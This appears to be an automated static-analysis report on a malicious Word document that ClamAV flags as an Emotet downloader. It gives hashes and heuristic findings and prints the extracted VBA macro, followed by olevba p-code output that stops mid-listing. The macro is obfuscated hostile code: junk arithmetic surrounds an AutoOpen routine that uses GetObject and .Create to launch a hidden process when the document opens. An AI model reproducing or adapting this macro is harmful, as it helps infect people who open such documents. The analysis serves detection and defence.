Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c6870532e5b6e13…

MALICIOUS

Office (OLE)

173.0 KB Created: 2019-03-27 09:00:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 90ecb09cdcfb795f8fc797002b5181e7 SHA-1: 6aeef9151279874898623131b79919e185087d32 SHA-256: 1c6870532e5b6e13eaf11871daaa703fe93c206e7902bebe6ce58d270065b4b1
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6914200-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6914200-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set rAGoAA = GetObject(wADZAQAQ.wAAG1Bk.Text + oAQCXU1c.fXAZxGo + wADZAQAQ.wAAG1Bk)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30899 bytes
SHA-256: 9189a64298d1f20b816a9b8a12f81279d58cd949935b5a43867bec79d9f6c3c5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iAAUCQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wADZAQAQ"
Attribute VB_Base = "0{DBF9D248-A1E3-4610-B915-D5E26924687C}{144EA630-6A64-4AA4-8696-DAE616E571E6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "oAQCXU1c"
Attribute VB_Base = "0{D882F008-105F-4102-B17D-75CB353AF897}{3B0F7A6E-082E-4FF0-AE13-7CE7D9451777}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "D1DQxQxD"
Function BwQAABxC()
   If pC4k_cDX = sAx_DQB Then
      LBkDUAQ_ = P4AAwA _
- CStr(171228564) / ZA4ADD - _
Int(hUGABUc + _
Atn(573456954) - zQAAQAQ * Hex(787988212)) + (19183769 + _
Cos(380285789 / 951056319 + 563091282 * Hex(797746808))) + PDkDocGA / _
Atn(MQA1kw + Tan(692424139) / RBDDBAxU * 355986721)
End If
   If jBAQQkkk = sAUAoD Then
      GAADCGAA = HAABQA _
- CBool(974034911) / T1DAkUB - _
Tan(rACDZQoA + _
Sqr(131738762) - jACXox * CDate(217829299)) + (813291376 + _
Sin(192291776 / 764889022 + 513188544 * Rnd(366594707))) + MB_AUZ / _
Atn(SQAGAx + CInt(237044687) / rABBB1C * 930334814)
End If
   If qcxAxDQ = sXUDcDZU Then
      jXAAAA = KcAUAA _
- CByte(459845587) / JQAkcAkD - _
Round(mB4AAAUA + _
CDbl(567265184) - JAD4kkD * Tan(521976944)) + (581476970 + _
Cos(200989331 / 513244029 + 811281423 * Round(206643093))) + DAUD_A_D / _
CStr(qAXZXAQA + Sgn(976374623) / AAAkAk * 914572663)
End If
   If IQZoQA4 = jCQ1wXA Then
      oAACGABw = LoAAkDx _
- Round(2943896) / XADQUoAD - _
Sgn(bZAXwwDG + _
CBool(317089167) - X4AUGC * CInt(567766329)) + (53086463 + _
Log(75913341 / 336874088 + 996563627 * CByte(388275754))) + BA1AADkB / _
Sqr(aA1ZZ_oC + Sgn(196602926) / XDAAAD * 195243163)
End If
   If PZ4UAAA = MAAoAcC Then
      WAAAQZB = rAwA_D _
- Hex(327108312) / jBA_xDUQ - _
Log(K4A1AG + _
CStr(19221721) - GUcAwU * CSng(259500625)) + (439046460 + _
Fix(741430536 / 796565743 + 191733440 * Sin(680596984))) + MAkCAAXA / _
Hex(qUk1wAQ + Hex(154496450) / wD1AGAUU * 938577206)
End If
   If kokA41X = WAwDAA_o Then
      rAXUDQ = jABAUXAQ _
- Oct(872238221) / j1k_CA - _
Hex(zUDDCD + _
Round(512783678) - iZQBU1 * Tan(758018416)) + (55511460 + _
Rnd(118819236 / 859439527 + 609818832 * CSng(649509126))) + jAAA1C4 / _
Sgn(DAAAAAB + Sqr(766917393) / kACoUAAk * 113966824)
End If
   If RAwDcAZA = OxBAU4 Then
      kB4GDBQ = aABkAA _
- CDbl(541863833) / O_ZQUoA - _
Oct(hUAAAA + _
Tan(204727991) - UQAQcx * Oct(88108648)) + (112704049 + _
Tan(412382321 / 771226093 + 619857798 * CDate(89793234))) + QwQAA1 / _
CBool(XCUUDCoB + CDate(744727963) / cDAC_AGo * 81807815)
End If
   If SxAwBA_c = kAB_AQD Then
      qGAcwA_ = YDXCAZZC _
- Round(275725359) / EwQUxA - _
Hex(iBQA4A1A + _
Rnd(968206712) - nZxwAA * CByte(982588317)) + (313579146 + _
Sqr(82632365 / 358583134 + 327328899 * Cos(455789464))) + KDxAAAQ / _
Sgn(SwAA1AA + CStr(741670749) / OAUD4A * 751560910)
End If
End Function
Sub autoopen()
On Error Resume Next
   If W11UCUAQ = zXZD4xA Then
      DAkcGGD = bDQ14w1A _
- Oct(100611161) / cBAABXA - _
Sgn(tAo4111 + _
Sgn(716488468) - UxXcGBA * Log(199510593)) + (455262365 + _
Rnd(538794375 / 203821783 + 518163647 * Sin(399290806))) + ZxDkD_DU / _
CBool(FAUoAABQ + CByte(187884484) / sAcAoGDA * 904402020)
End If
   If zAAUBA = zwAXxx Then
      BBZZ4Ax = nkCBDA _
- Round(814607490) / LAZDDDA - _
CDate(v4BBQQA + _
Fix(245074480) - QX_AQkQB * CSng(639311380)) + (377963518 + _
Sin(525246839 / 335501568 + 154650660 * Oct(476239846))) + qAoA1k1 / _
Fix(rwBQAAwx + Oct(588038710) / cBcQQA * 231026805)
End If
   If axAA_1UA = z_ABAD Then
      HcBAQwBC = rAAAAG _
- Atn(464756203) / pUUBQBA - _
Oct(NDADAQAA + _
CInt(484449226) - pG_AU4X * CStr(902304737)) + (459594113 + _
Atn(959594341 / 971882693 + 424030381 * CLng(724315130))) + a1AQQ_ / _
CDbl(mAAwAX + CSng(925409365) / fokAABA * 675942991)
End If
Set rAGoAA = GetObject(wADZAQAQ.wAAG1Bk.Text + oAQCXU1c.fXAZxGo + wADZAQAQ.wAAG1Bk)
   If qAUQ4BUD = dD_ADG Then
      pACAACwA = JcAQQD _
- Rnd(453640173) / X4DADAG - _
Fix(zoAZAAB + _
CDbl(534544414) - SZGXU_ * CBool(556995270)) + (380845515 + _
Log(633386037 / 162064779 + 301853964 * CStr(213330360))) + d_1QxBk1 / _
Oct(ZAGAQDkD + Atn(995790312) / joBUAUAk * 543697152)
End If
   If X4QZA1w = wA1wUA Then
      zU1DAAwQ = vAUUQD _
- CBool(435630707) / Y1QGAQBB - _
CSng(OUDQXXA + _
Atn(445919546) - ixAXAQDw * CInt(944759106)) + (788234284 + _
CDate(362374304 / 686756340 + 870109440 * Round(224341879))) + TZZAAA / _
CStr(uCAA1QU + Int(348306043) / Q_DcAZ * 262775739)
End If
   If woA4AG = fXZA1_CA Then
      ABAAZAwG = RkAZXA_A _
- Log(906734960) / V4c4cUB - _
CStr(LB4A11 + _
CStr(788990339) - iQU_AcQ * CBool(978733491)) + (639298483 + _
CLng(663597060 / 930961155 + 612747431 * Hex(443826184))) + iAAAXAAB / _
Sqr(ICxQDAAX + Int(843407933) / qUDxBAc1 * 841074043)
End If
If 1 = 1 Then
   If mADAoC = FAcZcDXQ Then
      mCwkUwQ = zU1GwA _
- CDate(183383044) / u_A_Bk - _
CBool(HAGkA1 + _
CLng(59533043) - nAQAQAA * Rnd(644110832)) + (742332449 + _
CStr(887575076 / 896383527 + 656858761 * CSng(333133572))) + ZDcDAA4k / _
CSng(TcDABA + CByte(101800698) / pQ1DAQ * 252482803)
End If
   If GCABAAA = hQ4UAcx Then
      EUADc4 = f_GQAQw _
- Tan(384543223) / cxAoAxAk - _
CByte(XA4DQUAQ + _
Tan(723932755) - bQkAUcD * Cos(46518132)) + (900207060 + _
CBool(581383892 / 149159449 + 450331862 * Rnd(303556433))) + XQBGxC / _
CDbl(bAADAB + CStr(103610465) / LDkGAAB * 723285353)
End If
rAGoAA.ShowWindow = w1BBBAUA + 937041 - 937041 + jAAAAAA
   If ZAUXDAA = qAXAUA Then
      rCCwA4c = poAAUUQC _
- CInt(710296925) / TAZUBDQA - _
Atn(GD1_4UAA + _
Atn(746073833) - ADDAAAc * CInt(732297233)) + (719389635 + _
Tan(469679671 / 132815019 + 451940791 * Rnd(491382063))) + hXZkZUD / _
Sqr(nUQCB_Z + CBool(206707107) / IUkxUkBD * 155801218)
End If
   If iQBAo_QA = MAA4AD Then
      ED4UAU = kUA_xA _
- Round(171032523) / zXAkAUZ - _
Hex(sAADAkB + _
Rnd(198942871) - t4UADk * Sgn(67204099)) + (323796112 + _
CStr(273844888 / 472250255 + 530976998 * Fix(992185766))) + bXwACZAA / _
Log(vAAcX_k + Round(946874437) / OoUAXB4 * 111492992)
End If
   If CwDAAU = CCQZA1A Then
      SDAC1ww4 = k_A4UA _
- CBool(654710609) / HAQGAwoo - _
CLng(XCQGA4 + _
CLng(741484345) - m11DA1DU * Hex(883102728)) + (634391166 + _
Sqr(475033714 / 645371580 + 569816431 * CSng(249363131))) + SADACA / _
Oct(C_AAwcUQ + Int(587153788) / cZQAZQ_o * 117667519)
End If
End If
   If QA4Axk = iUAABA Then
      RA1DAwAo = qAAUAQA1 _
- Int(399991486) / a4w_kGAX - _
Rnd(iAAwDAD1 + _
Cos(179367981) - HQXAwQ * Round(626163572)) + (620439808 + _
Sin(603851760 / 121800795 + 681891695 * Rnd(471460570))) + boDwxGAA / _
CSng(VDwBAA + CByte(664484328) / GGAcDAA * 313909217)
End If
   If tUcAAG4 = wBckUA Then
      FDAAkA = q4A_kQ _
- Fix(272866708) / TAAAAA - _
CLng(zkUQGDA + _
CStr(986470285) - m_UkAAQ * Hex(29657817)) + (377654911 + _
Hex(724297709 / 26559479 + 283893718 * Fix(825774338))) + PDADA4X / _
CDate(EUwUZQD + Sqr(876267802) / loBxwQ * 379538498)
End If
   If rUADokB = QAQ_Axw Then
      vDDUGQQ = FGAQUQQA _
- Cos(207233317) / hBA_Bo - _
Rnd(zAB4QAk + _
CDate(45125307) - LX_DABZ * Tan(686934509)) + (407847049 + _
CLng(11853791 / 12226429 + 381891664 * CLng(522700546))) + qAADAA / _
CLng(jAA4UA + Sqr(55034044) / wB1DAA * 257445292)
End If
GetObject(wADZAQAQ.wAAG1Bk + oAQCXU1c.dUADCA1A + wADZAQAQ.wAAG1Bk.Text) _
.Create wADZAQAQ.wAAG1Bk + oAQCXU1c.VAoBCwX.ControlTipText + wADZAQAQ.wAAG1Bk + oAQCXU1c.nAAAUA + wADZAQAQ.wAAG1Bk.Text + wADZAQAQ.wAAG1Bk.Text + oAQCXU1c.mQwAkk + wADZAQAQ.wAAG1Bk.Text + wADZAQAQ.wAAG1Bk + oAQCXU1c.kkkGD1D + wADZAQAQ.wAAG1Bk + oAQCXU1c.tAAAGB + wADZAQAQ.wAAG1Bk, zBX1xAkk, rAGoAA, wADZAQAQ.wAAG1Bk
   If EQAQQxC = JDACXkAB Then
      l_QAxD = CxXBAAQ _
- CSng(850800582) / ZGAABABA - _
Oct(zACkAA + _
CSng(474179001) - JAAGAAA * Int(190452450)) + (876161704 + _
CLng(737459225 / 609983902 + 729710791 * CStr(379395856))) + uAAAwA / _
CBool(w_UcDXB + CSng(234518766) / oQwQD_ * 45325872)
End If
   If pc4Q1A = TGABD_ Then
      hcBo14kw = WA1coD _
- CBool(427401723) / dAAk4U_ - _
Cos(EDBBABQ + _
Log(994024282) - TQAADcUA * CByte(545870740)) + (674282322 + _
Int(764644719 / 120092961 + 725563618 * Sgn(452138368))) + HU4AAAA / _
Cos(cwAQAX + CStr(261984969) / mAABCUo * 72294984)
End If
End Sub



' Processing file: /opt/analyzer/scan_staging/f01075d2adba4310819334265c5491e1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/iAAUCQ - 1104 bytes
' Macros/VBA/wADZAQAQ - 1159 bytes
' Macros/VBA/oAQCXU1c - 1159 bytes
' Macros/VBA/D1DQxQxD - 12833 bytes
' Line #0:
' 	FuncDefn (Function D1DQxQxD())
' Line #1:
' 	Ld BwQAABxC 
' 	Ld pC4k_cDX 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld LBkDUAQ_ 
' 	LitDI4 0xBD94 0x0A34 
' 	Coerce (Str) 
' 	Ld P4AAwA 
' 	Div 
' 	Sub 
' 	Ld ZA4ADD 
' 	LitDI4 0x423A 0x222E 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	Ld hUGABUc 
' 	LitDI4 0xBEF4 0x2EF7 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	Sub 
' 	LitDI4 0xB899 0x0124 
' 	LitDI4 0xB35D 0x16AA 
' 	LitDI4 0xF7BF 0x38AF 
' 	Div 
' 	LitDI4 0x1752 0x2190 
' 	LitDI4 0xA678 0x2F8C 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Cos 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld zQAAQAQ 
' 	Ld PDkDocGA 
' 	LitDI4 0x8DCB 0x2945 
' 	ArgsLd Tan 0x0001 
' 	Ld MQA1kw 
' 	Div 
' 	LitDI4 0xED21 0x1537 
' 	Mul 
' 	Add 
' 	ArgsLd Atn 0x0001 
' 	Div 
' 	Add 
' 	St sAx_DQB 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	Ld RBDDBAxU 
' 	Ld jBAQQkkk 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld GAADCGAA 
' 	LitDI4 0x97DF 0x3A0E 
' 	Coerce (Bool) 
' 	Ld HAABQA 
' 	Div 
' 	Sub 
' 	Ld T1DAkUB 
' 	LitDI4 0x2C8A 0x07DA 
' 	ArgsLd Sqr 0x0001 
' 	Add 
' 	Ld rACDZQoA 
' 	LitDI4 0xCFB3 0x0CFB 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	LitDI4 0xD770 0x3079 
' 	LitDI4 0x23C0 0x0B76 
' 	LitDI4 0x47BE 0x2D97 
' 	Div 
' 	LitDI4 0xA2C0 0x1E96 
' 	LitDI4 0xCA93 0x15D9 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Sin 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld jACXox 
' 	Ld MB_AUZ 
' 	LitDI4 0x03CF 0x0E21 
' 	Coerce (Int) 
' 	Ld SQAGAx 
' 	Div 
' 	LitDI4 0xC85E 0x3773 
' 	Mul 
' 	Add 
' 	ArgsLd Atn 0x0001 
' 	Div 
' 	Add 
' 	St sAUAoD 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld rABBB1C 
' 	Ld qcxAxDQ 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld sXUDcDZU 
' 	LitDI4 0xAFD3 0x1B68 
' 	Coerce (Byte) 
' 	Ld KcAUAA 
' 	Div 
' 	Sub 
' 	Ld JQAkcAkD 
' 	LitDI4 0xC7A0 0x21CF 
' 	Coerce (Dbl) 
' 	Add 
' 	Ld mB4AAAUA 
' 	LitDI4 0xBC70 0x1F1C 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Round 0x0001 
' 	Sub 
' 	LitDI4 0xA26A 0x22A8 
' 	LitDI4 0xDA93 0x0BFA 
' 	LitDI4 0x7B7D 0x1E97 
' 	Div 
' 	LitDI4 0x2C0F 0x305B 
' 	LitDI4 0x1F95 0x0C51 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Cos 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld JAD4kkD 
' 	Ld DAUD_A_D 
' 	LitDI4 0x4B5F 0x3A32 
' 	FnSgn 
' 	Ld qAXZXAQA 
' 	Div 
' 	LitDI4 0x4577 0x3683 
' 	Mul 
' 	Add 
' 	Coerce (Str) 
' 	Div 
' 	Add 
' 	St cAABwB 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld AAAkAk 
' 	Ld IQZoQA4 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld oAACGABw 
' 	LitDI4 0xEB98 0x002C 
' 	ArgsLd Round 0x0001 
' 	Ld LoAAkDx 
' 	Div 
' 	Sub 
' 	Ld XADQUoAD 
' 	LitDI4 0x658F 0x12E6 
' 	Coerce (Bool) 
' 	Add 
' 	Ld bZAXwwDG 
' 	LitDI4 0x6D39 0x21D7 
' 	Coerce (Int) 
' 	Mul 
' 	Sub 
' 	FnSgn 
' 	Sub 
' 	LitDI4 0x08FF 0x032A 
' 	LitDI4 0x587D 0x0486 
' 	LitDI4 0x4A68 0x1414 
' 	Div 
' 	LitDI4 0x5AAB 0x3B66 
' 	LitDI4 0x9E2A 0x1724 
' 	Coerce (Byte) 
' 	Mul 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld X4AUGC 
' 	Ld BA1AADkB 
' 	LitDI4 0xEC2E 0x0BB7 
' 	FnSgn 
' 	Ld aA1ZZ_oC 
' 	Div 
' 	LitDI4 0x2C9B 0x0BA3 
' 	Mul 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Div 
' 	Add 
' 	St jCQ1wXA 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld XDAAAD 
' 	Ld PZ4UAAA 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld WAAAQZB 
' 	LitDI4 0x46D8 0x137F 
' 	ArgsLd Hex 0x0001 
' 	Ld rAwA_D 
' 	Div 
' 	Sub 
' 	Ld jBA_xDUQ 
' 	LitDI4 0x4CD9 0x0125 
' 	Coerce (Str) 
' 	Add 
' 	Ld K4A1AG 
' 	LitDI4 0xAA51 0x0F77 
' 	Coerce (Sng) 
' 	Mul 
' 	Sub 
' 	ArgsLd Log 0x0001 
' 	Sub 
' 	LitDI4 0x513C 0x1A2B 
' 	LitDI4 0x5508 0x2C31 
' 	LitDI4 0xA0EF 0x2F7A 
' 	Div 
' 	LitDI4 0x9EC0 0x0B6D 
' 	LitDI4 0x15F8 0x2891 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Add 
' 	FnFix 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld GUcAwU 
' 	Ld MAkCAAXA 
' 	LitDI4 0x6DC2 0x0935 
' 	ArgsLd Hex 0x0001 
' 	Ld qUk1wAQ 
' 	Div 
' 	LitDI4 0x8D36 0x37F1 
' 	Mul 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Div 
' 	Add 
' 	St MAAoAcC 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	Ld wD1AGAUU 
' 	Ld kokA41X 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld rAXUDQ 
' 	LitDI4 0x4C8D 0x33FD 
' 	ArgsLd Oct 0x0001 
' 	Ld jABAUXAQ 
' 	Div 
' 	Sub 
' 	Ld j1k_CA 
' 	LitDI4 0x753E 0x1E90 
' 	ArgsLd Round 0x0001 
' 	Add 
' 	Ld zUDDCD 
' 	LitDI4 0x7170 0x2D2E 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI4 0x09A4 0x034F 
' 	LitDI4 0x09A4 0x0715 
' 	LitDI4 0x01A7 0x333A 
' 	Div 
' 	LitDI4 0x18D0 0x2459 
' 	LitDI4 0xB906 0x26B6 
' 	Coerce (Sng) 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld iZQBU1 
' 	Ld jAAA1C4 
' 	LitDI4 0x3B11 0x2DB6 
' 	ArgsLd Sqr 0x0001 
' 	Ld DAAAAAB 
' 	Div 
' 	LitDI4 0xFEE8 0x06CA 
' 	Mul 
' 	Add 
' 	FnSgn 
' 	Div 
' 	Add 
' 	St WAwDAA_o 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld kACoUAAk 
' 	Ld RAwDcAZA 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld kB4GDBQ 
' 	LitDI4 0x2F99 0x204C 
' 	Coerce (Dbl) 
' 	Ld aABkAA 
' 	Div 
' 	Sub 
' 	Ld O_ZQUoA 
' 	LitDI4 0xE6B7 0x0C33 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	Ld hUAAAA 
' 	LitDI4 0x6E68 0x0540 
' 	ArgsLd Oct 0x0001 
' 	Mul 
' 	Sub 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	LitDI4 0xBA31 0x06B7 
' 	LitDI4 0x7471 0x1894 
' 	LitDI4 0xF9ED 0x2DF7 
' 	Div 
' 	LitDI4 0x4786 0x24F2 
' 	LitDI4 0x22D2 0x055A 
' 	Coerce (Date) 
' 	Mul 
' 	Add 
' 	ArgsLd Tan 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld UQAQcx 
' 	Ld QwQAA1 
' 	LitDI4 0xA59B 0x2C63 
' 	Coerce (Date) 
' 	Ld XCUUDCoB 
' 	Div 
' 	LitDI4 0x49C7 0x04E0 
' 	Mul 
' 	Add 
' 	Coerce (Bool) 
' 	Div 
' 	Add 
' 	St OxBAU4 
' Line #21:
' 	EndIfBlock 
' Line #22:
' 	Ld cDAC_AGo 
' 	Ld SxAwBA_c 
' 	Eq 
' 	IfBlock 
' Line #23:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld qGAcwA_ 
' 	LitDI4 0x3C2F 0x106F 
' 	ArgsLd Round 0x0001 
' 	Ld YDXCAZZC 
' 	Div 
' 	Sub 
' 	Ld EwQUxA 
' 	LitDI4 0xA978 0x39B5 
' 	ArgsLd Rnd 0x0001 
' 	Add 
' 	Ld iBQA4A1A 
' 	LitDI4 0x1B9D 0x3A91 
' 	Coerce (Byte) 
' 	Mul 
' 	Sub 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI4 0xD68A 0x12B0 
' 	LitDI4 0xDEAD 0x04EC 
' 	LitDI4 0x8B5E 0x155F 
' 	Div 
' 	LitDI4 0xA483 0x1382 
' 	LitDI4 0xCB98 0x1B2A 
' 	ArgsLd Cos 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld nZxwAA 
' 	Ld KDxAAAQ 
' 	LitDI4 0xFF5D 0x2C34 
' 	Coerce (Str) 
' 	Ld SwAA1AA 
' 	Div 
' 	LitDI4 0xE8CE 0x2CCB 
' 	Mul 
' 	Add 
' 	FnSgn 
' 	Div 
' 	Add 
' 	St kAB_AQD 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	EndFunc 
' Line #26:
' 	FuncDefn (Sub OAUD4A())
' Line #27:
' 	OnError (Resume Next) 
' Line #28:
' 	Ld autoopen 
' 	Ld W11UCUAQ 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld DAkcGGD 
' 	LitDI4 0x3459 0x05FF 
' 	ArgsLd Oct 0x0001 
' 	Ld bDQ14w1A 
' 	Div 
' 	Sub 
' 	Ld cBAABXA 
' 	LitDI4 0xBF14 0x2AB4 
' 	FnSgn 
' 	Add 
' 	Ld tAo4111 
' 	LitDI4 0x4A41 0x0BE4 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	Sub 
' 	FnSgn 
' 	Sub 
' 	LitDI4 0xC09D 0x1B22 
' 	LitDI4 0x5987 0x201D 
' 	LitDI4 0x12D7 0x0C26 
' 	Div 
' 	LitDI4 0x8CBF 0x1EE2 
' 	LitDI4 0xB1B6 0x17CC 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Rnd 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld UxXcGBA 
' 	Ld ZxDkD_DU 
' 	LitDI4 0xE3C4 0x0B32 
' 	Coerce (Byte) 
' 	Ld FAUoAABQ 
' 	Div 
' 	LitDI4 0x1464 0x35E8 
' 	Mul 
' 	Add 
' 	Coerce (Bool) 
' 	Div 
' 	Add 
' 	St zXZD4xA 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld sAcAoGDA 
' 	Ld zAAUBA 
' 	Eq 
' 	IfBlock 
' Line #32:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld BBZZ4Ax 
' 	LitDI4 0xEC82 0x308D 
' 	ArgsLd Round 0x0001 
' 	Ld nkCBDA 
' 	Div 
' 	Sub 
' 	Ld LAZDDDA 
' 	LitDI4 0x8A30 0x0E9B 
' 	FnFix 
' 	Add 
' 	Ld v4BBQQA 
' 	LitDI4 0x1E14 0x261B 
' 	Coerce (Sng) 
' 	Mul 
' 	Sub 
' 	Coerce (Date) 
' 	Sub 
' 	LitDI4 0x43FE 0x1687 
' 	LitDI4 0xA177 0x1F4E 
' 	LitDI4 0x5900 0x13FF 
' 	Div 
' 	LitDI4 0xC824 0x0937 
' 	LitDI4 0xD7E6 0x1C62 
' 	ArgsLd Oct 0x0001 
' 	Mul 
' 	Add 
' 	ArgsLd Sin 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld QX_AQkQB 
' 	Ld qAoA1k1 
' 	LitDI4 0xC236 0x230C 
' 	ArgsLd Oct 0x0001 
' 	Ld rwBQAAwx 
' 	Div 
' 	LitDI4 0x3075 0x0DC5 
' 	Mul 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	St zwAXxx 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld cBcQQA 
' 	Ld axAA_1UA 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld HcBAQwBC 
' 	LitDI4 0x9DEB 0x1BB3 
' 	ArgsLd Atn 0x0001 
' 	Ld rAAAAG 
' 	Div 
' 	Sub 
' 	Ld pUUBQBA 
' 	LitDI4 0x1BCA 0x1CE0 
' 	Coerce (Int) 
' 	Add 
' 	Ld NDADAQAA 
' 	LitDI4 0x13E1 0x35C8 
' 	Coerce (Str) 
' 	Mul 
' 	Sub 
' 	ArgsLd Oct 0x0001 
' 	Sub 
' 	LitDI4 0xD981 0x1B64 
' 	LitDI4 0x3F65 0x3932 
' 	LitDI4 0xC0C5 0x39ED 
' 	Div 
' 	LitDI4 0x30AD 0x1946 
' 	LitDI4 0x2BFA 0x2B2C 
' 	Coerce (Lng) 
' 	Mul 
' 	Add 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld pG_AU4X 
' 	Ld a1AQQ_ 
' 	LitDI4 0xA055 0x3728 
' 	Coerce (Sng) 
' 	Ld mAAwAX 
' 	Div 
' 	LitDI4 0x124F 0x284A 
' 	Mul 
' 	Add 
' 	Coerce (Dbl) 
